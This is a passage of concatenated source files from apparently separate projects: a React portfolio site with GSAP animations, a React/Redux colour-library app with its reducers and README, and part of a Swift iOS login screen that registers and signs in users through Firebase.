}) }) document.getElementById('nav-button-outer') .addEventListener('mousemove',function(e){ document.getElementById('cursor').classList.add('nav-hovered'); document.getElementById('nav-button').style.transition = 'all .1s'; document.getElementById('nav-button').style.top = e.clientY +'px'; document.getElementById('nav-button').style.left = e.clientX +'px'; }); document.getElementById('nav-button-outer') .addEventListener('mouseleave',function(e){ document.getElementById('cursor').classList.remove('nav-hovered'); document.getElementById('nav-button').style.transition = 'all .5s'; document.getElementById('nav-button').style.top = '50px'; document.getElementById('nav-button').style.left = (window.innerWidth - 50)+'px'; }); window.addEventListener('resize',function(){ document.getElementById('nav-button') .style.left = (window.innerWidth - 50)+'px'; }); var toggled = false, that = this; document.getElementById('nav-button-outer') .addEventListener('click',function(){ document.body.classList.toggle('nav-opened'); toggled = !toggled; if(toggled){ that.tween .set('#menu',{ visibility: 'visible' }) .to('#menu',0.4,{ opacity: 1 }) .play(); } else { that.tween .to('#menu',0.4,{ opacity: 0 }) .set('#menu',{ visibility: 'hidden' }) .play(); } }); } render(){ let navigation = this.state.pagelist.map((page,index)=>{ return( <li key={index}> <Link to={page.slug}>{page.title.rendered}</Link> </li> ) }); return( <nav id="nav"> <Link id="logo" to='/'>JR.CO</Link> <div id="nav-outer"></div> <div id="nav-button-outer"></div> <button id="nav-button"> <span></span> <span></span> <span></span> </button> <div id="menu"> <div className="nav-main"> <h2><NAME></h2> <div> <p>Creative Technologist a.k.a. web development and graphic design hybrid. Specialties in UI design and creative front end. I handled most design and all development of every project you see here.</p> <p>For all inquiries:</p> <a href="mailto:<EMAIL>"><EMAIL></a> </div> </div> <ul className="page-list">{navigation}</ul> </div> </nav> ); } } export default Nav; <file_sep>/src/home.js import React, { Component } from 'react'; import { Link } from 'react-router-dom'; import { TimelineLite, Expo } from 'gsap'; class Home extends Component { constructor(){ super(); this.state = {homepages:[]} this.element = null; this.tween = new TimelineLite({paused:true}); this.infinitween = new TimelineLite({repeat:-1,paused:true}); } componentWillMount(){ let getAllPages = 'http://localhost:8888/wp/wp-json/wp/v2/pages?_embed'; fetch(getAllPages) .then(result => result.json()) .then(result => { this.setState({ homepages: result }) }).then(result => { function resizeWidth(){ var innerWidth = 1; if( document.querySelector('.section-inner') ){ [].forEach.call(document.querySelectorAll('section'),function(e){ innerWidth += (e.offsetWidth + 45); }); document.querySelector('.section-inner').style.width = innerWidth+'px'; } } resizeWidth(); window.addEventListener('resize',resizeWidth); if(document.querySelector('.section-inner')){ window.addEventListener('scroll',function(){ [].forEach.call(document.querySelectorAll('.home-bg-image-inner'),function(e){ e.style.left = -(window.pageXOffset / 8)+'px'; }); }); } this.tween .to('h1',1,{ opacity: 0.03 }) .to('.home-loading',1,{ opacity: 0 },'-=1') .to('section',0.5,{ opacity: 1 }) .to('.home-bg',1,{ height: '100%', ease: Expo.easeInOut }) .staggerTo('.home-bg-overlay',0.75,{ height: '0%', ease: Expo.easeInOut },'0.05') .to('section h2',0.5,{ opacity: 1, top: '25%', ease: Expo.easeOut },'-=0.25') .fromTo('section span',0.5,{ opacity: 0, top: '86.5%' },{ opacity: 1, top: '85%', ease: Expo.easeOut },'-=0.25') .play() }) } componentDidMount(){ this.tween .to('h1',1.25,{ top: '50%', ease: Expo.easeOut }) .play(); this.infinitween .staggerTo('.home-loading span',0.5,{ opacity: 0 },'0.1') .staggerTo('.home-loading span',0.5,{ opacity: 1 },'0.1').play() } render(){ let scrollPos = 0; var scrollTween = new TimelineLite(); window.addEventListener('wheel',function(e){ if( document.querySelector('.home .section-inner') ){ e.deltaY > 0 || e.deltaX > 0 ? _scrolledLeft() : _scrolledRight(); function _scrolledLeft(){ scrollPos += 8; console.log(scrollPos); //e.stopPropagation(); } function _scrolledRight(){ scrollPos -= 8; //scrollTween.staggerTo('section',0.25,{ x: scrollPos, ease: Expo.easeInOut }); } window.scrollTo(scrollPos,0); } }); let homepageArchive = this.state.homepages.map((page,index)=>{ return( <section key={index} style={{opacity:0, marginRight: '45px' }}> <Link to={page.slug}> <h2 style={{opacity:0,top:'26.5%'}}> {page.title.rendered} </h2> <span>View Project</span> <div className="home-bg" style={{height:'0%',backgroundColor: ''+ page.acf.color +'' }}> <div className="home-bg-image"> <div className="home-bg-image-inner" style={{backgroundImage: 'url('+ page._embedded["wp:featuredmedia"][0] .media_details .sizes .full .source_url+ ')' }}></div> </div> <div className="home-bg-overlay"></div> </div> </Link> </section> ) }); return( <div className="home"> <h1 style={{top:'55%'}}><NAME> is a <strong>Creative Technologist</strong> living in Milwaukee, Wisconsin.</h1> <p className="home-loading">He has a few projects to show you <span>.</span> <span>.</span> <span>.</span> </p> <div className="section-outer"> <div className="section-inner"> {homepageArchive} </div> </div> </div> ); } } export default Home;
50096350d427368e775a34335842793de791a61a
[ "JavaScript" ]
3
JavaScript
jimmyrichardson/portfolio
988881c7ec94ffb0f88885956b09c397d7c54cf4
c644bda05fa5ec89ef6b41ea4d57af0a1531111f
refs/heads/master
<repo_name>arjunkhode/Colors<file_sep>/src/reducers/thirdColorReducer.js import { SET_THIRD_COLOR } from '../actions/index'; const INITIAL_STATE = { third: 'tomato'}; export default function firstColorReducer(state = INITIAL_STATE, action){ switch(action.type){ case SET_THIRD_COLOR: return {...state, third: action.payload}; default: return state; } }<file_sep>/src/reducers/secondColorReducer.js import { SET_SECOND_COLOR } from '../actions/index'; const INITIAL_STATE = { second: 'goldenrod'}; export default function firstColorReducer(state = INITIAL_STATE, action){ switch(action.type){ case SET_SECOND_COLOR: return {...state, second: action.payload}; default: return state; } }<file_sep>/src/components/colorlib.js import React from 'react'; export default class ColorLib extends React.Component { render(){ if(this.props.colours) if(this.props.colours.length > 0){ { console.log("gift",this.props.colours); return( <div className="colorLibrary"> {this.props.colours.map((col) => { return(<div className="colour" key={col} style={{background:col}}>{col}</div>)})} </div> ); }} else return(<div></div>); } }<file_sep>/README.md # Colors Choose colors from a color library. See how they look next to each other. Create your own library by adding colors you like. ![](https://github.com/arjunkhode/Colors/blob/master/frameshot.png) ``` > npm install > npm start localhost:8080 ``` <file_sep>/src/reducers/index.js import { combineReducers } from 'redux'; import numColorsReducer from './numColorsReducer'; import firstColorReducer from './firstColorReducer'; import secondColorReducer from './secondColorReducer'; import thirdColorReducer from './thirdColorReducer'; import colorsReducer from './colorsReducer'; import currentReducer from './currentReducer'; const rootReducer = combineReducers({ numColors: numColorsReducer, firstColor: firstColorReducer, secondColor: secondColorReducer, thirdColor: thirdColorReducer, colors: colorsReducer, current: currentReducer, }); export default rootReducer; <file_sep>/src/reducers/colorsReducer.js import { ADD_COLOR } from '../actions/index'; const INITIAL_STATE = { cols: [ 'plum', 'navajowhite', 'goldenrod', 'seashell', 'mistyrose', 'lime', 'fuchsia', 'antiquewhite', 'darkkhaki', 'beige', 'powderblue', 'steelblue', 'azure', 'aqua', 'indianred', 'mediumvioletred', 'paleturquoise', 'hotpink', 'lawngreen', 'ghostwhite', 'tomato', 'chartreuse', 'midnightblue', 'greenyellow', 'floralwhite', 'rosybrown', 'salmon', 'honeydew', 'thistle', 'peachpuff' ] }; export default function( state = INITIAL_STATE, action) { switch(action.type){ case ADD_COLOR: return {...state, cols: action.payload}; default: return state; } }<file_sep>/src/reducers/currentReducer.js import { SET_CURRENT } from '../actions/index'; const INITIAL_STATE = { curr: 1}; export default function firstColorReducer(state = INITIAL_STATE, action){ switch(action.type){ case SET_CURRENT: return {...state, curr: action.payload}; default: return state; } }
d40c7994e8800907fd9c69249997f410470ec0c7
[ "JavaScript", "Markdown" ]
7
JavaScript
arjunkhode/Colors
210ae820b167c6f338c28c5ca86ca8a7f98aadd9
4b67e5d69d7909e9e0118bdbf7e23a15ef54a41d
refs/heads/master
<repo_name>nsreeen/WhatIShouldWatchNasreen<file_sep>/database_populate.py #Get data about movies from movieinfo csv file #movie_data structure: id, title, year, female dialogue, make dialogue, imdb import csv with open('movieinfo.csv', 'rb') as csvfile: reader = csv.reader(csvfile) movie_data = list(reader) #Open database #Database structure: title(str), year(int), imdb(str), bechdel(boolean) #Example: 0001,A Clockwork Orange,1971,6,94,False,tt0066921 import MySQLdb db = MySQLdb.connect(host="localhost", user="root", password="", db="watch") cur = db.cursor() #Iterate through the rows in the movie data to write them to the database for item in movie_data: #title, year, imdb, bechdel title = str(item[1]) year = int(item[2]) imdb = str(item[6]) bechdel = bool(item[5]) #fix data type %s to %d? cur.execute("INSERT INTO moviestwo (title,year,imdb,bechdel) VALUES (%s,%d,%s,%b)", (title,year,imdb,bechdel)) #Commit changes db.commit() #Close the database cur.close() db.close() <file_sep>/database_access.py """ This file connects to the database, and prints the contents. Replace 'watch' with the name of the database (Replace host, user, password if appropriate) Replace 'moviestwo' with the name of the table """ import MySQLdb db = MySQLdb.connect(host="localhost", user="root", password="", db="watch") #The cursor allows us to execute commands in a database session #The default cursor returns lists cur = db.cursor() cur.execute("SELECT * FROM `moviestwo`") data = cur.fetchall() for row in data: print row db.close() <file_sep>/get_writer_director_tags.py import csv, requests, json, nltk with open('writers_data.csv') as csvfile: movie_data = list(csv.reader(csvfile)) people = [x[0] for x in movie_data] pronouns = ['she', 'her', 'he', 'his'] genders = ['woman', 'woman', 'man', 'man', 'nonbinary', 'nonbinary'] def get_wiki_article(name): #Get data in article on person name = people[i].replace(' ','%20') address = 'http://en.wikipedia.org/w/api.php?format=json&action=query&titles={search_query}&prop=revisions&exintro&rvprop=content'.format(search_query=name) response = requests.get(address) #print 'response.status_code = ', response.status_code data = response.json() return json.dumps(data) def get_position_useful_text(string): position = 0 if ' is ' in string: position = string.find(' is ') elif ' was ' in string: position = string.find(' was ') else: print 'text not found' start = position end = position+1500 return start, end def tokenize_and_search_for_pronouns(string): #tokenize the string, then search for pronouns words = nltk.word_tokenize(string) #print words gender = '' for word in words: for number in range(len(pronouns)): if word.lower() == pronouns[number]: gender = genders[number] return gender return 'unknown' i = 20 while i <30: print people[i] string = get_wiki_article(people[i]) start, end = get_position_useful_text(string) string = string[start:end] #print string gender = tokenize_and_search_for_pronouns(string) print gender #move through while loop i = i + 1
de92cc814d8afd2a62021034efaaf68db4ee9999
[ "Python" ]
3
Python
nsreeen/WhatIShouldWatchNasreen
ab891c460c17abe15362f0acd3c67b1a7033c092
e6d70d18354d860359658555c5492b5f16e04695
refs/heads/master
<file_sep>import React from "react"; const Timer = () => { return <div className="timerBox" />; }; export default Timer; <file_sep>import React from "react"; const Topic = props => { return ( <div className="BottomBox"> <div>{props.statement}</div> <div> <button onClick={props.randomStatement}>Click me</button> </div> </div> ); }; export default Topic; <file_sep>export default [ { id: 1, name: "Aidan" }, { id: 2, name: "Alex" }, { id: 3, name: "Ben" }, { id: 4, name: "Brendan" }, { id: 5, name: "Dave" }, { id: 6, name: "Jazz" }, { id: 7, name: "Johnny" }, { id: 8, name: "Karen" }, { id: 9, name: "Kathryn" }, { id: 10, name: "Kim" }, { id: 11, name: "Kira" }, { id: 12, name: "Liam" }, { id: 13, name: "Manu" }, { id: 14, name: "Mareen" }, { id: 15, name: "Matt" }, { id: 16, name: "Olivia" }, { id: 17, name: "Omar" }, { id: 18, name: "Rhys" }, { id: 19, name: "Robyn" }, { id: 20, name: "Sahela" }, { id: 21, name: "Stuart" }, { id: 22, name: "Wasim" }, { id: 23, name: "Bukola" } ]; <file_sep>export default [ { statement: "<NAME> vs The Rock for president" }, { statement: "Going out vs Nextflix & Chill" }, { statement: "Episodes 1-3 Star Wars vs Episodes 4-6 Star Wars" }, { statement: "Beauty vs Brains" }, { statement: "Xbox vs Playstation" }, { statement: "Should Santa's elves be paid minimum wage?" }, { statement: "Socks with sandals - yay or nay" }, { statement: "The Office UK vs The Office US" }, { statement: " Are magic 8 balls more reliable than tarot cards?" }, { statement: "Liverpool should win the Premier League 2019" }, { statement: "Should pineapple be allowed to be put on pizza?" }, { statement: "Is Kanye West a genius?" }, { statement: "Were Ross and Rachel really on a break?" }, { statement: "Is it okay to pee whilst taking a shower?" } ];
1ca098a07e7c9f3974a0a7469ba5458676e6e20c
[ "JavaScript" ]
4
JavaScript
WasimHamid/BootcampBattle
cd939ee91b59e6f608df5be3549067eab691135f
f6e6cefda28e8a7c25fa3bff4269eab0f0411f44
refs/heads/master
<file_sep>#include "bmp.h" #include "m_mem.h" #include <math.h> #define PI 3.1415926535 #define INC 15 #define R_INC 1 #define THRESHOLD 20 unsigned char *bitmap; int num_pixels; int SOBEL = 0; //0 is straight up, 180 is straight down int main(void) { bitmap = imread("C:\\Users\\EE113D\\Desktop\\image1.bmp"); // bitmap = imread("C:\\Users\\EE113D\\Desktop\\Lab_4\\square.bmp"); int i, j, k, x, y, r; double radius; int result_x, result_y; int WIDTH,HEIGHT; if(SOBEL==0){ //If we're processing the original image WIDTH = InfoHeader.Width; HEIGHT = InfoHeader.Height; } else{ WIDTH = (InfoHeader.Width-2); HEIGHT= (InfoHeader.Height-2); } int RANGE = sqrt(WIDTH*WIDTH + HEIGHT*HEIGHT)/R_INC; int* hough = (int*)m_malloc(sizeof(int) *2* RANGE * 180/INC); for (i = 0; i<(2*RANGE*(180/INC)); i++) { hough[i] = 0; } int sobel_x[3][3] = { {-1, 0, 1}, {-2, 0, 2}, {-1, 0, 1} }; int sobel_y[3][3] = { {-1, -2, -1}, {0, 0, 0}, {1, 2, 1} }; int* sobel_temp; int* sobel; if(SOBEL==1){ sobel_temp = (int*)m_malloc(sizeof(int)*(WIDTH)*(HEIGHT)); sobel = (int*)m_malloc(sizeof(int)*(WIDTH-2)*(HEIGHT-2)); } if(SOBEL==2){ sobel = (int*)m_malloc(sizeof(int)*(WIDTH)*(HEIGHT)); for(i = 1; i < (InfoHeader.Height-1); i++){ for(j = 1; j < (InfoHeader.Width-1); j++){ result_x = 0; result_y = 0; int a,b; for(a = 0; a < 3; a++){ for(b = 0; b < 3; b++){ int xn = j + a - 1; int yn = i + b - 1; int index = xn + yn*InfoHeader.Width; result_x += bitmap[3*index] * sobel_x[a][b]; result_y += bitmap[3*index] * sobel_y[a][b]; } } sobel[(i-1)*(WIDTH) + (j-1)] = sqrt(result_x*result_x + result_y*result_y); if(sobel[(i-1)*(WIDTH) + (j-1)] < 100){ sobel[(i-1)*(WIDTH) + (j-1)] = 255; }else{ sobel[(i-1)*(WIDTH) + (j-1)] = 0; } } } for(i = 0; i < HEIGHT; i++){ for(j = 0; j < WIDTH; j++){ printf("%d ", (int)sobel[i*WIDTH + j]); } printf("\n"); } } if(SOBEL==0){ for(i = 0; i < num_pixels; i++){ //Check if black if(bitmap[i*3] <= 5){ //Calculate ze hough transform y = i/InfoHeader.Width; x = i%InfoHeader.Width; int theta; for(theta = 0; theta < 180; theta += INC){ radius = y*cos(theta*PI/180) + x*sin(theta*PI/180); r = (int)(radius/R_INC); printf("x is %d, y is %d, r is %d, theta is %d, ", x, y, r, theta); hough[(r+RANGE)*(180/INC) + theta/INC]++; printf("counter is %d \n", hough[(r+RANGE)*(180/INC) + theta/INC]); printf(" y index: %f, x index: %f, matrix index: %f \n", (float)(r+RANGE), (float)(theta/INC), (float)((r+RANGE)*(180/INC) + theta/INC)); } } } for (j = 0; j<(2*RANGE); j++) { //printf("%d : ", j-RANGE); for(k = 0; k<(180/INC); k++) { printf("%d ", (int)hough[j*(180/INC) + k]); /* if(hough[j*(180/INC) + k] >= THRESHOLD){ printf("Radius: %d, Angle: %d, Occurences: %d \n", (j-RANGE)*R_INC, k*INC, hough[j*(180/INC) + k]); }*/ } printf("\n"); } } else{ printf("Starting analysis on filtered image...\n"); for(i = 0; i < WIDTH*HEIGHT; i++){ //Check if white if(sobel[i] == 0){ //Calculate ze hough transform y = i/(WIDTH); x = i%(HEIGHT); int theta; for(theta = 0; theta < 180; theta += INC){ radius = x*cos(theta*PI/180) + y*sin(theta*PI/180); r = (int)(radius/R_INC); //printf("x is %d, y is %d, r is %d, theta is %d, ", x, y, r, theta); hough[(r+RANGE)*(180/INC) + theta/INC]++; //printf("counter is %d \n", hough[(r+RANGE)*(180/INC) + theta/INC]); //printf(" y index: %f, x index: %f, matrix index: %f \n", (float)(r+RANGE), (float)(theta/INC), (float)((r+RANGE)*(180/INC) + theta/INC)); } } } } m_free(hough); m_free(sobel); m_free(sobel_temp); return 0; } <file_sep>#ifndef BMP #define BMP #include "m_mem.h" #pragma pack(1) struct BitMap { unsigned short int Type; unsigned int Size; unsigned short int Reserved1, Reserved2; unsigned int Offset; } Header; struct BitMapInfo { unsigned int Size; int Width, Height; unsigned short int Planes; unsigned short int Bits; unsigned int Compression; unsigned int ImageSize; int xRes, yRes; unsigned int Colors; unsigned int ImptColors; } InfoHeader; unsigned char* imread(char* name) { unsigned char *bitmap; FILE *BMP_in = fopen (name, "rb"); int i, datasize; int padding; unsigned char *pad; if (BMP_in == NULL) { printf("\nCannot open file\n"); exit(1); } printf("Reading the bmp header...\n"); fread(&Header, sizeof(Header), 1, BMP_in); fread(&InfoHeader, sizeof(InfoHeader), 1, BMP_in); printf("size of Header = %d\n", sizeof(Header)); printf("size of InfoHeader = %d\n", sizeof(InfoHeader)); printf("Width: %d\n", InfoHeader.Width); printf("Height: %d\n", InfoHeader.Height); datasize = InfoHeader.Width*InfoHeader.Height*3; padding = (4 - ((InfoHeader.Width*3) % 4)) % 4 ; pad = malloc(padding*sizeof(unsigned char)); bitmap = m_malloc(datasize); if (!bitmap) { printf("out of memory!\n"); } else { printf("Successfully allocated memory for the bitmap\n"); } printf("Reading BMP file...\n"); for (i=0; i < datasize; i++) { fread(&bitmap[i], 1,1, BMP_in); if (i % (3*InfoHeader.Width) == 3*InfoHeader.Width -1) { fread(&pad, padding*sizeof(unsigned char),1, BMP_in); } } fclose(BMP_in); printf("Finish reading BMP file...\n"); return bitmap; } void imshow(char* name,unsigned char* bitmap) { FILE *BMP_out; int filesize, datasize, i; int padding; unsigned char *pad; datasize = InfoHeader.Width*InfoHeader.Height*3; filesize = 54 + 3*InfoHeader.Width* InfoHeader.Height; padding = (4 - ((InfoHeader.Width*3) % 4)) % 4 ; pad = malloc(padding*sizeof(unsigned char)); for (i = 0; i < padding; i++) { pad[i] = 0; } unsigned char bmpfileheader[14] = {'B','M', 0,0,0,0, 0,0, 0,0, 54,0,0,0}; unsigned char bmpinfoheader[40] = {40,0,0,0, 0,0,0,0, 0,0,0,0, 1,0, 24,0}; bmpfileheader[ 2] = (unsigned char)(filesize ); bmpfileheader[ 3] = (unsigned char)(filesize>> 8); bmpfileheader[ 4] = (unsigned char)(filesize>>16); bmpfileheader[ 5] = (unsigned char)(filesize>>24); bmpinfoheader[ 4] = (unsigned char)( InfoHeader.Width ); bmpinfoheader[ 5] = (unsigned char)( InfoHeader.Width>> 8); bmpinfoheader[ 6] = (unsigned char)( InfoHeader.Width>>16); bmpinfoheader[ 7] = (unsigned char)( InfoHeader.Width>>24); bmpinfoheader[ 8] = (unsigned char)( InfoHeader.Height ); bmpinfoheader[ 9] = (unsigned char)( InfoHeader.Height>> 8); bmpinfoheader[10] = (unsigned char)( InfoHeader.Height>>16); bmpinfoheader[11] = (unsigned char)( InfoHeader.Height>>24); BMP_out = fopen(name,"wb"); fwrite(bmpfileheader,1,14,BMP_out); fwrite(bmpinfoheader,1,40,BMP_out); printf("Writing BMP file...\n"); for(i=0; i < datasize; i++) { if (i%(InfoHeader.Width*3) == 0) { printf("i = %d\n",i); } fwrite(&bitmap[i], 1,1, BMP_out); if (i % (3*InfoHeader.Width) == 3*InfoHeader.Width -1) { fwrite(&pad, padding*sizeof(unsigned char),1, BMP_out); } } printf("Finish writing BMP file...\n"); fclose(BMP_out); } #endif <file_sep>################################################################################ # Automatically-generated file. Do not edit! ################################################################################ # Add inputs and outputs from these tool invocations to the build variables CMD_SRCS += \ ../linker_dsp.cmd C_SRCS += \ ../L138_LCDK_aic3106_init.c \ ../miniproj1.c OBJS += \ ./L138_LCDK_aic3106_init.obj \ ./miniproj1.obj C_DEPS += \ ./L138_LCDK_aic3106_init.pp \ ./miniproj1.pp C_DEPS__QUOTED += \ "L138_LCDK_aic3106_init.pp" \ "miniproj1.pp" OBJS__QUOTED += \ "L138_LCDK_aic3106_init.obj" \ "miniproj1.obj" C_SRCS__QUOTED += \ "../L138_LCDK_aic3106_init.c" \ "../miniproj1.c"
ad1eacaaa90b1a6faab72f4147e81ebf52c39153
[ "C", "Makefile" ]
3
C
filet-mignon/Edge_Line_Detection
534f379bd911b83b600fd0c268b1dcbf37dd66cd
ed7928845c5fc3a4ea0e03222129d3554e191cef
refs/heads/master
<file_sep>// // Channel.swift // shyStudent // // Created by <NAME> on 2017-08-21. // Copyright © 2017 <NAME>. All rights reserved. // import Foundation class Channel: NSObject { internal let id: String internal let name: String init(id: String, name: String) { self.id = id self.name = name } static func ==(lhs: Channel, rhs: Channel) -> Bool { return lhs.id == rhs.id } } <file_sep>// // CreateChannelCell.swift // shyStudent // // Created by <NAME> on 2017-08-21. // Copyright © 2017 <NAME>. All rights reserved. // import UIKit class CreateChannelCell: UITableViewCell { @IBOutlet weak var newChannelNameField: UITextField! @IBOutlet weak var createChannelButton: UIButton! } <file_sep>// // LoginController.swift // MidtermProj2018 // // Created by <NAME> on 2017-08-21. // Copyright © 2017 <NAME>. All rights reserved. // import UIKit import Firebase //protocol isStudentTeacher{ // // func updateStudentTeacherSegmentedController(_ : int ) -> (Bool)() // //} class LoginController: UIViewController , UITextFieldDelegate{ var isStudent : Bool = false var colorGenerator = ColorGenerator() let inputsContainerView : UIView = { let view = UIView() view.backgroundColor = UIColor.white view.translatesAutoresizingMaskIntoConstraints = false view.layer.cornerRadius = 5 view.layer.masksToBounds = true return view }() lazy var loginRegisterButton : UIButton = { let button = UIButton(type:.system) button.backgroundColor = UIColor.gray button.setTitle("Register", for: UIControlState()) button.setTitleColor(UIColor.white, for: UIControlState.normal) button.translatesAutoresizingMaskIntoConstraints = false button.layer.cornerRadius = 5 button.addTarget(self, action: #selector(handleLoginRegister), for: .touchUpInside) return button }() func handleLoginRegister() { if loginOrRegisterSegmentedControl.selectedSegmentIndex == 1 { handleRegister() } if loginOrRegisterSegmentedControl.selectedSegmentIndex == 0 { handleLogin() } else { print("Form is invalid") } } func handleLogin() { guard let email = emailTextField.text , let password = passwordTextField.text else { print("form is not valid") return } Auth.auth().signIn(withEmail: email, password: <PASSWORD>) { (user: User?, error) in if error != nil { print(error!) return } // self.dismiss(animated: true, completion: nil) // MARK: - Create Channel View Controller (ChatViewController) let sb = UIStoryboard.init(name: "Main", bundle: Bundle.main) guard let channelVC = sb.instantiateInitialViewController() as? ChatViewController else { return //do some kind of error } // not too sure if we want name or email here channelVC.senderDisplayName = email channelVC.isStudent = self.isStudent self.navigationController?.show(channelVC, sender: self) } } let askLabel : UILabel = { let label = UILabel() label.text = "ASK" label.textColor = UIColor.white label.font = UIFont.boldSystemFont(ofSize: 80) label.translatesAutoresizingMaskIntoConstraints = false return label }() let awayLabel : UILabel = { let label = UILabel() label.text = "AWAY" label.textColor = UIColor.white label.font = label.font.withSize(70) label.translatesAutoresizingMaskIntoConstraints = false return label }() func handleRegister() { guard let email = emailTextField.text , let password = <PASSWORD>TextField.text , let name = nameTextField.text else { print("form is not valid") return } Auth.auth().createUser(withEmail: email, password: <PASSWORD>) { (user: User?, error) in if error != nil{ return } //Successfully authenticated user let ref = Database.database().reference() let values = ["name": name, "email" :email] ref.updateChildValues(values, withCompletionBlock: { (err, ref) in if error != nil{ return } print("Saved user successfully into Firebase database") }) } } let nameTextField : UITextField = { let tf = UITextField() tf.placeholder = "Name" tf.translatesAutoresizingMaskIntoConstraints = false tf.layer.masksToBounds = true return tf } () let emailTextField : UITextField = { let emailTextField = UITextField() emailTextField.placeholder = "Email" emailTextField.translatesAutoresizingMaskIntoConstraints = false emailTextField.layer.masksToBounds = true return emailTextField } () let passwordTextField : UITextField = { let passwordtf = UITextField() passwordtf.placeholder = "<PASSWORD>" passwordtf.translatesAutoresizingMaskIntoConstraints = false passwordtf.isSecureTextEntry = true passwordtf.layer.masksToBounds = true return passwordtf } () lazy var loginOrRegisterSegmentedControl: UISegmentedControl = { let segmentedControl = UISegmentedControl(items: ["Login" , "Register"]) segmentedControl.tintColor = UIColor.white segmentedControl.translatesAutoresizingMaskIntoConstraints = false segmentedControl.addTarget(self, action: #selector(handleLoginRegisterChange), for: .valueChanged) segmentedControl.selectedSegmentIndex = 1 return segmentedControl }() lazy var studentTeacherSegmentedControl: UISegmentedControl = { let segmentedControl = UISegmentedControl(items: ["Student" , "Teacher"]) segmentedControl.tintColor = UIColor.white segmentedControl.translatesAutoresizingMaskIntoConstraints = false segmentedControl.addTarget(self, action: #selector(handleStudentTeacher), for: .valueChanged) segmentedControl.selectedSegmentIndex = 1 return segmentedControl }() open func handleStudentTeacher() { if studentTeacherSegmentedControl.selectedSegmentIndex == 0 { //write code for deleting or hiding the create "classes" bar isStudent = true } if studentTeacherSegmentedControl.selectedSegmentIndex == 1 { //do nothing isStudent = false } else { print("Form is invalid") } } //VIEW DID LOAD override func viewDidLoad() { super.viewDidLoad() let customColor: UIColor = UIColor(r:66, g: 244, b: 188) let colorGen = ColorGenerator() colorGen.colorsArray.add(customColor) view.backgroundColor = colorGen.randomColor(); view.addSubview(inputsContainerView) view.addSubview(loginRegisterButton) view.addSubview(loginOrRegisterSegmentedControl) view.addSubview(studentTeacherSegmentedControl) view.addSubview(askLabel) view.addSubview(awayLabel) setupLabelsConstraints() setupInputsContainerView() setupRegisterButtonView() setupLoginRegisterSegmentedControlConstraints() setupStudentTeacherSegmentedControlConstraints() handleStudentTeacher() self.nameTextField.delegate = self self.emailTextField.delegate = self self.passwordTextField.delegate = self } override func viewWillAppear(_ animated: Bool) { navigationController?.setNavigationBarHidden(true, animated: false) } func handleLoginRegisterChange() { let title = loginOrRegisterSegmentedControl.titleForSegment(at: loginOrRegisterSegmentedControl.selectedSegmentIndex) loginRegisterButton.setTitle(title, for: UIControlState()) loginRegisterButton.setTitle(title, for: UIControlState.normal) //Changing heigh of inputscontainer if we change to login inputsContainerViewHeightAnchor?.constant = loginOrRegisterSegmentedControl.selectedSegmentIndex == 0 ? 100 : 150 //Changing nameTextfield nameTextFieldHeightAnchor?.isActive = false nameTextFieldHeightAnchor = nameTextField.heightAnchor.constraint(equalTo: inputsContainerView.heightAnchor, multiplier: loginOrRegisterSegmentedControl.selectedSegmentIndex == 0 ? 0 : 1/3) nameTextFieldHeightAnchor?.isActive = true emailTextFieldHeightAnchor?.isActive = false emailTextFieldHeightAnchor = emailTextField.heightAnchor.constraint(equalTo: inputsContainerView.heightAnchor, multiplier: loginOrRegisterSegmentedControl.selectedSegmentIndex == 0 ? 1/2 : 1/3) emailTextFieldHeightAnchor?.isActive = true passTextFieldHeightAnchor?.isActive = false passTextFieldHeightAnchor = passwordTextField.heightAnchor.constraint(equalTo: inputsContainerView.heightAnchor, multiplier: loginOrRegisterSegmentedControl.selectedSegmentIndex == 0 ? 1/2 : 1/3) passTextFieldHeightAnchor?.isActive = true } func setupLoginRegisterSegmentedControlConstraints (){ loginOrRegisterSegmentedControl.centerXAnchor.constraint(equalTo: inputsContainerView.centerXAnchor).isActive = true loginOrRegisterSegmentedControl.bottomAnchor.constraint(equalTo: inputsContainerView.topAnchor, constant: -12).isActive = true loginOrRegisterSegmentedControl.widthAnchor.constraint(equalTo: inputsContainerView.widthAnchor).isActive = true loginOrRegisterSegmentedControl.heightAnchor.constraint(equalToConstant: 20).isActive = true } func setupStudentTeacherSegmentedControlConstraints() { studentTeacherSegmentedControl.centerXAnchor.constraint(equalTo: inputsContainerView.centerXAnchor).isActive = true studentTeacherSegmentedControl.widthAnchor.constraint(equalTo: inputsContainerView.widthAnchor).isActive = true studentTeacherSegmentedControl.heightAnchor.constraint(equalToConstant: 20).isActive = true studentTeacherSegmentedControl.bottomAnchor.constraint(equalTo: loginOrRegisterSegmentedControl.topAnchor, constant: -12).isActive = true } var inputsContainerViewHeightAnchor : NSLayoutConstraint? var nameTextFieldHeightAnchor : NSLayoutConstraint? var emailTextFieldHeightAnchor : NSLayoutConstraint? var passTextFieldHeightAnchor : NSLayoutConstraint? func setupInputsContainerView() { //Input textfield inputsContainerView.centerXAnchor.constraint(equalTo: view.centerXAnchor).isActive = true inputsContainerView.centerYAnchor.constraint(equalTo: view.centerYAnchor).isActive = true inputsContainerView.widthAnchor.constraint(equalTo: view.widthAnchor, constant: -24).isActive = true inputsContainerViewHeightAnchor = inputsContainerView.heightAnchor.constraint(equalToConstant: 150) inputsContainerViewHeightAnchor?.isActive = true //Name textfield inputsContainerView.addSubview(nameTextField) nameTextField.leftAnchor.constraint(equalTo: inputsContainerView.leftAnchor, constant: 12).isActive = true nameTextField.topAnchor.constraint(equalTo: inputsContainerView.topAnchor ).isActive = true nameTextField.widthAnchor.constraint(equalTo: inputsContainerView.widthAnchor).isActive = true nameTextFieldHeightAnchor = nameTextField.heightAnchor.constraint(equalTo: inputsContainerView.heightAnchor, multiplier: 1/3) nameTextFieldHeightAnchor?.isActive = true //Email textfield inputsContainerView.addSubview(emailTextField) emailTextField.leftAnchor.constraint(equalTo: inputsContainerView.leftAnchor, constant: 12).isActive = true emailTextField.topAnchor.constraint(equalTo: nameTextField.bottomAnchor ).isActive = true emailTextField.widthAnchor.constraint(equalTo: inputsContainerView.widthAnchor).isActive = true emailTextFieldHeightAnchor = emailTextField.heightAnchor.constraint(equalTo: inputsContainerView.heightAnchor, multiplier: 1/3) emailTextFieldHeightAnchor?.isActive = true //Password textfield inputsContainerView.addSubview(passwordTextField) passwordTextField.leftAnchor.constraint(equalTo: inputsContainerView.leftAnchor, constant: 12).isActive = true passwordTextField.topAnchor.constraint(equalTo: emailTextField.bottomAnchor ).isActive = true passwordTextField.widthAnchor.constraint(equalTo: inputsContainerView.widthAnchor).isActive = true passTextFieldHeightAnchor = 